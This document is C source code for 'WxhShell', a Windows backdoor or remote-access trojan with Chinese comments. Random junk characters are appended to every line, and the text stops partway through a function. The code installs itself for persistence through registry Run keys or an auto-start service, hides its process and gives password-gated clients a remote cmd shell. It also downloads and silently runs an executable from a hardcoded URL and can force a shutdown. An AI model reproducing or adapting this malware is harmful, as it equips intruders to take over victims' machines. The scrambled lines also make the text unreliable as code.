    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vx4Jk]h+=L  
    if(Boot(SHUTDOWN)) :M\3.7q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7HP~v~  
    else { 6#(rWW "_  
    closesocket(wsh); ,H:{twc   
    ExitThread(0); 9Fh1rZD<  
    } |YK4V(5x  
    break; !--A"  
    } r=:o$e  
  // 获取shell x>MY_?a  
  case 's': { Y5\=5r/  
    CmdShell(wsh); &BkdC,o  
    closesocket(wsh); gB}UzEj^<  
    ExitThread(0); $LJCup,1"  
    break; #RVN 7-x  
  } >@i {8AD  
  // 退出 t'DYT"3  
  case 'x': { rRd8W}B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Rq)%o$Z  
    CloseIt(wsh); PP!} w  
    break; r  |JZU  
    } RtScv  
  // 离开 BV512+M  
  case 'q': { b(?A^ a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3PRK.vf  
    closesocket(wsh); x L]Z3"p%  
    WSACleanup(); I;3Uzv  
    exit(1); [LrA_N  
    break; L7 g4'  
        } U=>4=gsG  
  } Z*M-PaU}  
  } sI#r3:?i  
@ Yzc?+x  
  // 提示信息 :yE7jXB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }@NT#hD  
} 5d5q0bb  
  } ;(~H(]D  
U(u$5  
  return; V0a)9\x(\  
} *pKj6x  
[;qZu`n>  
// shell模块句柄 1,(uRS#bk  
int CmdShell(SOCKET sock) _do(   
{ <s(<ax30  
STARTUPINFO si; ,]8$QFf  
ZeroMemory(&si,sizeof(si)); 2kQa3Pan  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8[mj*^P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z!/ MBM  
PROCESS_INFORMATION ProcessInfo; iVqa0Gl+}  
char cmdline[]="cmd"; P4.snRQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?R\:6x<  
  return 0; dT4e[4l  
} =~F.7wq*^  
4&/m>%r  
// 自身启动模式 EE[JXoke  
int StartFromService(void) /{+77{# Qn  
{ nN[gAM (  
typedef struct .m \y6  
{ 3FpSo+  
  DWORD ExitStatus; q+}Er*r  
  DWORD PebBaseAddress; k{d)'\FM  
  DWORD AffinityMask; BuIly&qbm<  
  DWORD BasePriority; r4(Cb_  
  ULONG UniqueProcessId; ju%t'u\'  
  ULONG InheritedFromUniqueProcessId; P},d`4Ty@  
}   PROCESS_BASIC_INFORMATION; {fAj*,pzl  
fY{&W@#g  
PROCNTQSIP NtQueryInformationProcess; d vTsbs/6  
P1Chmg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SVc5mS|up  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lyj0$wbH`  
3f^~mTY9>]  
  HANDLE             hProcess; KMZEUmY1R1  
  PROCESS_BASIC_INFORMATION pbi; #Hyfj j  
+\@WOs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;yVT:qd %  
  if(NULL == hInst ) return 0; Ij}k>qO/2  
1E|~;wo\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rP7~ R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  t_Rpeav  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /pOK4"  
d:1TSJff%/  
  if (!NtQueryInformationProcess) return 0; Nw=mSW^E  
s0bWg$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yqKERdm  
  if(!hProcess) return 0; *cnxp-)ub  
UJ8V%0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oiY&O]}  
XI*cu\7sy  
  CloseHandle(hProcess); f0,,<ib.w  
@Nk]f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #pm0T1+jW  
if(hProcess==NULL) return 0; FZW:dsm  
Lp}>WCams  
HMODULE hMod; T($6L7 j9  
char procName[255]; N&'05uWY}  
unsigned long cbNeeded; M,j3z #  
h,WF'X+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }9,^=g-  
A/+bwCDP  
  CloseHandle(hProcess); U)g2 7*7  
;mYj`/Yj  
if(strstr(procName,"services")) return 1; // 以服务启动 c _faW  
"Ooc;xD3<  
  return 0; // 注册表启动 (aa}0r5  
} Wu9))Ir  
3Az7urIY  
// 主模块 !1s^TB>N  
int StartWxhshell(LPSTR lpCmdLine) _Bhm\|t  
{ qe\JO'g#e  
  SOCKET wsl; {f kP|d  
BOOL val=TRUE; @p}"B9h*^  
  int port=0; (iw)C)t*u  
  struct sockaddr_in door; $pO gFA1'  
+bv-!rf  
  if(wscfg.ws_autoins) Install(); 4fp]z9Y  
GDUOUl&  
port=atoi(lpCmdLine); bRzw.(k0`r  
\L@DDK|"`6  
if(port<=0) port=wscfg.ws_port; ]E/~PV  
3] u[NR  
  WSADATA data; {~RS$ |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b\^q9fy  
s wIJmA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0~0OQ/>7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g.re`m|Aj  
  door.sin_family = AF_INET; RN0=jo!58  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z<,$Xv L  
  door.sin_port = htons(port); <#r/4a"V  
[V-OYjPAx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {zf)im[.  
closesocket(wsl); LAT%k2%Wx  
return 1; 3?rYt:Uf!  
} 8w|-7$ v  
8^FAeV#  
  if(listen(wsl,2) == INVALID_SOCKET) { rIg5Wcd  
closesocket(wsl); 5sc`L  
return 1; KNw{\Pz~w  
} @Ht7^rz+S  
  Wxhshell(wsl); Ct)l0J\XH  
  WSACleanup(); E 3a^)S{  
609_ZW;)  
return 0; 5lc%GJybV  
l5R0^!t  
} N3`EJY_|V  
_ Db05:r@  
// 以NT服务方式启动 :jc ?T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +9[/> JM  
{ f;w7YO+$p9  
DWORD   status = 0; ^*fZ  
  DWORD   specificError = 0xfffffff; :GaK.W q  
ojA i2uz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pDg_^|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8'Y7lOXS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c< P ML|e  
  serviceStatus.dwWin32ExitCode     = 0; t'{\S_  
  serviceStatus.dwServiceSpecificExitCode = 0; U0Y;*_>4  
  serviceStatus.dwCheckPoint       = 0; fZ*LxL  
  serviceStatus.dwWaitHint       = 0; }bg_?o;X}  
=Bq3O58+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3i c6!T#t"  
  if (hServiceStatusHandle==0) return; |QI FtdU5T  
3bGJ?hpp  
status = GetLastError(); W]t!I}yPR  
  if (status!=NO_ERROR) cxNb!G  
{ ba-J-G@YW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P})Iwk|Z  
    serviceStatus.dwCheckPoint       = 0; 7K|: 7e(  
    serviceStatus.dwWaitHint       = 0; F{g^4  
    serviceStatus.dwWin32ExitCode     = status; {4@+ 2)l  
    serviceStatus.dwServiceSpecificExitCode = specificError; *nPB+@f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )TmqE<[  
    return; !)}3[h0  
  } &%ZiI@O-  
*XCid_{(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,bQbj7  
  serviceStatus.dwCheckPoint       = 0; h5:>o  
  serviceStatus.dwWaitHint       = 0; m\}8N u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EP|OKXRltA  
} %L\buwjy$  
*r&q;ER  
// 处理NT服务事件,比如:启动、停止 },d`<^~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FHu -';  
{ c~1X/,biA  
switch(fdwControl) nS53mLU)  
{ *,UD&N_)*6  
case SERVICE_CONTROL_STOP: i"h '^6M1  
  serviceStatus.dwWin32ExitCode = 0; Y~</vz+H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y$]gmg  
  serviceStatus.dwCheckPoint   = 0; 4a&*?=GG  
  serviceStatus.dwWaitHint     = 0; TaZw_)4c  
  { XYOPX>$T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qJQ!e  
  } yJheni  
  return;  fn1G^a=  
case SERVICE_CONTROL_PAUSE: `o.DuvQ E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~is$Onf99#  
  break; q:y_#r"_y  
case SERVICE_CONTROL_CONTINUE: /lC&'hT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sUfYEVjr  
  break; }[[  
case SERVICE_CONTROL_INTERROGATE: vu&%e\gM  
  break; Zj*kHjn"  
}; L+c7.l.yT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qNLG-m,n<  
} ~1NK@=7T  
2 f" =f^rf  
// 标准应用程序主函数 }w#Ek=,s#o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9'qU4I  
{ Y SvZ7G(m>  
'%u7XuU-]  
// 获取操作系统版本 [Ipg",Su;f  
OsIsNt=GetOsVer(); r@2{>j8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LxM.z1  
6evW O!  
  // 从命令行安装 g"60{  
  if(strpbrk(lpCmdLine,"iI")) Install(); |HjoaN)  
`ehZ(H}  
  // 下载执行文件 -7^A_!.  
if(wscfg.ws_downexe) { :%!}%fkxH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jAa{;p"jU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5&y;r  
} \,w*K'B_Y  
U%Kv}s/(F{  
if(!OsIsNt) { D*>EWlZ   
// 如果时win9x,隐藏进程并且设置为注册表启动 O:=%{/6&D  
HideProc(); Mp V3.  
StartWxhshell(lpCmdLine); %7X<:f|N8x  
} \WDL?(G<  
else $Vi[195]2  
  if(StartFromService()) {M7`z,,[  
  // 以服务方式启动 JH%^FF2  
  StartServiceCtrlDispatcher(DispatchTable); [|=#~(yYQ  
else ,s%1#cbR  
  // 普通方式启动 Y7vTseq  
  StartWxhshell(lpCmdLine); Nn"[GB  
IZ$7'Mo86  
return 0; kHO2&"6  
} +@'{  
g1je':  
 t8 "*j t  
)YDuq(g&  
=========================================== RG'Ft]l92N  
yzvNv]Z'*  
M  `QYrH  
fkprTk^#  
5}4f[   
BZ]6W/0  
" ')d&:K*M  
NF}QQwG3  
#include <stdio.h> $[L8UUHY<8  
#include <string.h> &B^zu+J  
#include <windows.h> yqy5i{Y  
#include <winsock2.h> (1 "unP-  
#include <winsvc.h> N2?o6)  
#include <urlmon.h> Vvth,  
}Htnhom0n  
#pragma comment (lib, "Ws2_32.lib") |Ef\B] Ns  
#pragma comment (lib, "urlmon.lib") pJ` M5pF  
A9*( O)  
#define MAX_USER   100 // 最大客户端连接数 [j6EzMN  
#define BUF_SOCK   200 // sock buffer 4Y):d!'b  
#define KEY_BUFF   255 // 输入 buffer yGNZw7^(  
uCc.dluU  
#define REBOOT     0   // 重启 ;XJK*QDN  
#define SHUTDOWN   1   // 关机 r'kUU] j9  
5E~?hWAv  
#define DEF_PORT   5000 // 监听端口 Dq#/Uw#  
|H:JwxH  
#define REG_LEN     16   // 注册表键长度 .6,+q2tyk,  
#define SVC_LEN     80   // NT服务名长度 LQ,RQ~!  
dLtSa\2Hn  
// 从dll定义API +E8Itb,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E+Jh4$x {  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4G:I VK9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^i"C%8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9,?\hBEu  
Lx{bR=  
// wxhshell配置信息 KGMX >t'  
struct WSCFG { `y&d  
  int ws_port;         // 监听端口 ? m$uqi  
  char ws_passstr[REG_LEN]; // 口令 |-WoR u  
  int ws_autoins;       // 安装标记, 1=yes 0=no dDuT,zP  
  char ws_regname[REG_LEN]; // 注册表键名 M18H1e@Al  
  char ws_svcname[REG_LEN]; // 服务名 "(@W^qF}d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zW`Zmt\T2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b#**`Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?4X8l@fR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;(a\F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;j#$d@VG"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FmfPi .;1  
?'xTSAn  
}; "6T: &>  
5ryzAB O\2  
// default Wxhshell configuration =j)y.x(  
struct WSCFG wscfg={DEF_PORT, p*11aaIbp~  
    "xuhuanlingzhe", :ZP4(}  
    1, [x {S ,?6  
    "Wxhshell", CaX0Jlk*  
    "Wxhshell",  u/ Os  
            "WxhShell Service", Xx;RH9YYz  
    "Wrsky Windows CmdShell Service", '%W'HqVcG1  
    "Please Input Your Password: ", U6hT*126  
  1, ]dXHjOpA  
  "http://www.wrsky.com/wxhshell.exe", rsbd DTy  
  "Wxhshell.exe" '64&'.{#>r  
    }; 2<d l23  
kI|Vv90l  
// 消息定义模块 FiTP-~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <O`yM2/pS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s\c*ibxM,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < q6z$c)K  
char *msg_ws_ext="\n\rExit.";  b>N) H  
char *msg_ws_end="\n\rQuit."; o8!gV/oy  
char *msg_ws_boot="\n\rReboot..."; QN%w\ JXS  
char *msg_ws_poff="\n\rShutdown..."; ?/mkFDN  
char *msg_ws_down="\n\rSave to "; *. H1m{V  
xS~O Acxg  
char *msg_ws_err="\n\rErr!"; O1/U3 /2/d  
char *msg_ws_ok="\n\rOK!"; s]=s2.=  
3xhv~be  
char ExeFile[MAX_PATH]; ~R`Rj*Q2Y  
int nUser = 0; ;WQ@dC  
HANDLE handles[MAX_USER]; "J0,SFu:  
int OsIsNt; ; Q-f6)+&  
fIrl?X']  
SERVICE_STATUS       serviceStatus; x\=2D<@az  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gTI!b  
l2DhFt$!=  
// 函数声明 T[w]w  
int Install(void); }$K2h*  
int Uninstall(void); 3Lxk7D>0c  
int DownloadFile(char *sURL, SOCKET wsh); \]y4e^FZZ  
int Boot(int flag); uV]4C^k;`[  
void HideProc(void); ,hj5.;M  
int GetOsVer(void); >U~B"'!xV  
int Wxhshell(SOCKET wsl); $#4J^(I*:  
void TalkWithClient(void *cs); 5XO eYO{  
int CmdShell(SOCKET sock); ,"U8Fgf[r  
int StartFromService(void); !/4f/g4Ze  
int StartWxhshell(LPSTR lpCmdLine); ?Rc+H;x=f  
!6eXJ#~[E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Luxo,Ve  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1vcI`8%S+u  
Kt WG2  
// 数据结构和表定义 ]w _,0q  
SERVICE_TABLE_ENTRY DispatchTable[] = lYlU8l5>  
{ )7mX]@  
{wscfg.ws_svcname, NTServiceMain}, y(pHt  
{NULL, NULL} Ol>"'  
}; ?^z!yD\  
;H#'9p,2  
// 自我安装 lFWN [`H  
int Install(void) P)fv:a  
{ b\zRwp  
  char svExeFile[MAX_PATH]; >uN`q1?l'  
  HKEY key;  \Vis  
  strcpy(svExeFile,ExeFile); &"dT/5}6  
KKm0@Y   
// 如果是win9x系统,修改注册表设为自启动 CroI,=a&,  
if(!OsIsNt) { gf]biE"k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ({3hX"C@Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VjU;[  
  RegCloseKey(key); =RR225  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J@ x%TA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _C9*M6IU  
  RegCloseKey(key); KlgPDV9mg  
  return 0; QN[-XQ>Xt  
    } }?,Gn]]  
  } I At;?4  
} ?^i$} .%W  
else { g-=)RIwm  
tt=?*n  
// 如果是NT以上系统,安装为系统服务 $tyF(RybG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?iH`-SY  
if (schSCManager!=0) Ti/t\'6  
{ r3o_mO?X  
  SC_HANDLE schService = CreateService L&1VPli  
  ( ; Xy\7tx  
  schSCManager, uLYz!E+E  
  wscfg.ws_svcname, e{edI{g  
  wscfg.ws_svcdisp, yD iL  
  SERVICE_ALL_ACCESS, q<>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W G2 E3y  
  SERVICE_AUTO_START, JZp*"UzQr  
  SERVICE_ERROR_NORMAL, )^UM8 s  
  svExeFile, DpIv <m]  
  NULL, _8C0z=hz  
  NULL, 1xM'5C?~7  
  NULL, ?2VY ^7N[  
  NULL, i^9PiP|U  
  NULL v}hmI']yf  
  ); (yFR;5Fo  
  if (schService!=0) PMk3b3)Z  
  { ^5TSo&qZ  
  CloseServiceHandle(schService); C+-GE9=  
  CloseServiceHandle(schSCManager); jsS xjf;O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qr%9S dvx  
  strcat(svExeFile,wscfg.ws_svcname); "J]_B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nAn/Vu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Md%gEh;&  
  RegCloseKey(key); H{'<v|I  
  return 0; 'iO?M'0gE#  
    } &~P5 [[Q  
  } }LS:f,1oGp  
  CloseServiceHandle(schSCManager); ~YHy '.  
} bkkhx,Oi[G  
} ^4^1)' %  
*>!O2c  
return 1; EWPP&(u3  
} d% ?+q0j  
'1A S66k  
// 自我卸载 g(t"+ P  
int Uninstall(void) %sb)U~gP  
{ ZdHfZ3)dB  
  HKEY key; _[-+%RP  
SU OuayE  
if(!OsIsNt) { &Zl$7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $:"r$7  
  RegDeleteValue(key,wscfg.ws_regname); SU;PmG4  
  RegCloseKey(key); &^e%gU8!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #%k!`?^fbK  
  RegDeleteValue(key,wscfg.ws_regname); *6~ODiB  
  RegCloseKey(key); {S(d5o8  
  return 0; _^Lv8a3(O  
  } <A&mc,kj  
} /_E8'qlx  
} LZm6\x  
else { @s J[<V  
Pw/Z;N;:V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v4!zB9d  
if (schSCManager!=0) g\&[;v i  
{ m "\jEfjO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); > 4ex:Z  
  if (schService!=0) b7g\wnV8z  
  { yfeX=h  
  if(DeleteService(schService)!=0) { DGr{x}Kq  
  CloseServiceHandle(schService); \B"5 Kp<  
  CloseServiceHandle(schSCManager); Z<ozANbk  
  return 0; oK&LYlU  
  } j <>|Hi #`  
  CloseServiceHandle(schService); ^,')1r,  
  } 24"Trg\WK[  
  CloseServiceHandle(schSCManager); tLe!_p)  
} Q=J"#EFs  
} f7 V36Q8  
ZzLmsTtzIu  
return 1; uZ( I|N$  
} L+Yn}"gIs  
]kq{9b';  
// 从指定url下载文件 Qj~m;F!  
int DownloadFile(char *sURL, SOCKET wsh) mdvooJ  
{ LziEF-_  
  HRESULT hr; ;T~]|#T\6  
char seps[]= "/"; |cStN[97%  
char *token; }$3eRu +  
char *file; K^`3Bg  
char myURL[MAX_PATH]; #k8bZ?*:  
char myFILE[MAX_PATH]; C4],7"Sw  
BL<.u  
strcpy(myURL,sURL); Pcut#8?  
  token=strtok(myURL,seps); <y=VDb/  
  while(token!=NULL) `,d*>  
  { r(iT&uz  
    file=token; aYr?J Ol  
  token=strtok(NULL,seps); 02:]  
  } A,i.1U"w8  
e>~g!S}G  
GetCurrentDirectory(MAX_PATH,myFILE); b{<qt})  
strcat(myFILE, "\\"); q}>1Rr|U`  
strcat(myFILE, file); ?D-1xnxep  
  send(wsh,myFILE,strlen(myFILE),0); ,~8:^*0s  
send(wsh,"...",3,0); !/+ZKx("9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o9ZHa  
  if(hr==S_OK) GVk&n"9kp  
return 0; :@)UI,  
else / PG+ s6  
return 1; =3OK 3|  
km2('t7?  
} ;LE4U OK  
} r$&"wYM  
// 系统电源模块 q65KxOf`  
int Boot(int flag) aAZS^S4v  
{ r=P)iE:  
  HANDLE hToken; l T~RH0L  
  TOKEN_PRIVILEGES tkp; \O5`R-  
|m7U^  
  if(OsIsNt) { %0C<_drW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $&/JY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n/#zx:d?  
    tkp.PrivilegeCount = 1; 3ny>5A!;2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }S51yDVG_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tFt56/4  
if(flag==REBOOT) { zY~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5vs~8|aRo  
  return 0; nf& P Dv1  
} ;q]Jm  
else { dfY(5Wc+f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GL$!JKWp  
  return 0; c7 Sa|9*dR  
} j78WPG  
  } &v|Uy}h&%1  
  else { =!T@'P?  
if(flag==REBOOT) { !E!i`yF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DhY.5  
  return 0; d4KT wn5g  
} IWcgh`8  
else { OV3l)73?t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v+uq  
  return 0; HE58A.Q&  
} D ]Q,~Y&'  
} xY9 #ouF  
Fb=(FQ2Y?  
return 1; k#Qav1_  
} bA}9He1  
g^|}e?  
// win9x进程隐藏模块 r/zuo6"5  
void HideProc(void) 0JzH dz  
{ #\s*>Z  
.[&0FHnJ5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ap=m5h27  
  if ( hKernel != NULL ) ~_opU(;f  
  { NRu _6~^^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i ,Cvnp6Lv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eKjmU| H  
    FreeLibrary(hKernel); .j?`U[V%a  
  } Yt&Isi +  
hhd%j6  
return; 'i5 VU4?K  
} p=%Vo@*]  
s}Phw2`1U  
// 获取操作系统版本 y4*i V;"  
int GetOsVer(void) 8* 7t1$  
{ .4on7<-a  
  OSVERSIONINFO winfo; <=.0 P/N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0_'(w;!wq:  
  GetVersionEx(&winfo); m,}0p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MU6|>{  
  return 1; X`i'U7%I  
  else vD<6BQR  
  return 0; <T]%Gg8  
} },58B  
0K/Pth"*  
// 客户端句柄模块 S_; 5mb+b  
int Wxhshell(SOCKET wsl) Fp'qn'){:#  
{ HJ#3wk"W  
  SOCKET wsh; ,/0Q($oz  
  struct sockaddr_in client; rR`'l=,t  
  DWORD myID; \kSoDY`l&  
GL;@heP  
  while(nUser<MAX_USER) y/=:F=H@w  
{ :})(@.H  
  int nSize=sizeof(client); Z] ?Tx2|7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N(i%Oxp1  
  if(wsh==INVALID_SOCKET) return 1; .Zo%6[X  
\:]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  x{K^u"  
if(handles[nUser]==0) "XPBNv\>_  
  closesocket(wsh); ,b[}22  
else $!Z><&^/  
  nUser++; l{b<rUh5W  
  } s18o,Zs'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k=;>*:D%  
;:<z hO  
  return 0; |;xm-AM4r  
} )Z6bMAb0'N  
ZEY="pf  
// 关闭 socket TljN!nv]  
void CloseIt(SOCKET wsh) *u LOoq  
{ #I> c$dd  
closesocket(wsh); YywiY).]@  
nUser--; WMy97*L<  
ExitThread(0); + *u'vt?  
} [/dGOl+  
& gF*p  
// 客户端请求句柄 m]H[$ Q  
void TalkWithClient(void *cs) (al.7VA;9  
{ $+(Df|)  
Mdk(FG(  
  SOCKET wsh=(SOCKET)cs; <Q57}[$*)  
  char pwd[SVC_LEN]; N:R6 b5 =}  
  char cmd[KEY_BUFF]; UN ;9h9  
char chr[1]; &O|!w&  
int i,j; -CV_yySc  
U -RR>j  
  while (nUser < MAX_USER) {  R&oC9<  
#'`!*VI  
if(wscfg.ws_passstr) { b"D? @dGB,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tG8)!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ah^0FU%!g  
  //ZeroMemory(pwd,KEY_BUFF); ed3d 6/%HR  
      i=0; ~ZrSoVP=  
  while(i<SVC_LEN) { LV4\zd6  
u&4CXv=  
  // 设置超时 5ggmS<=  
  fd_set FdRead; fZQL!j4  
  struct timeval TimeOut; q/T(s  
  FD_ZERO(&FdRead); t "y[  
  FD_SET(wsh,&FdRead); -NzO,?  
  TimeOut.tv_sec=8; Dl C\sm  
  TimeOut.tv_usec=0; Zl,c+/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }"} z7Xb0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); So?.V4aD_  
3=[#(p:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8H2zM IB  
  pwd=chr[0]; 3k YVk  
  if(chr[0]==0xd || chr[0]==0xa) { bBx.snBK  
  pwd=0; b:%z<vo  
  break; Wp2W:JX:  
  } R$>]7-N}  
  i++; @ P:b\WCI  
    } IE;Fu67wi  
l>(w]  
  // 如果是非法用户,关闭 socket )q.Z}_,)@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cb36~{  
} XOOWrK7O  
NxOiT#YH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); euxkw]`h6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '(ZJsw  
Mn)>G36(  
while(1) { Oup5LH!sW  
p#14  
  ZeroMemory(cmd,KEY_BUFF); bxxazsj^  
';H"Ye:D=7  
      // 自动支持客户端 telnet标准   "zN2+X"&  
  j=0; :ik$@5wp  
  while(j<KEY_BUFF) { Z)V m,ng  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3o).8b_3g  
  cmd[j]=chr[0]; Vgh;w-a  
  if(chr[0]==0xa || chr[0]==0xd) { Z)JJ-V!  
  cmd[j]=0; $x5,Oen  
  break; b*;zdGX.A9  
  } N 3M:|D  
  j++; N+)gYb6h  
    } ]YQ!i@Y  
f+ }Rj0A  
  // 下载文件 /5x~3~  
  if(strstr(cmd,"http://")) { }kNbqwVP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]m fI$p%  
  if(DownloadFile(cmd,wsh)) )^Ha?;TS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rwZI;t$hf  
  else tQ:g#EqL9B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tVAWc$3T  
  } [Ej#NHs  
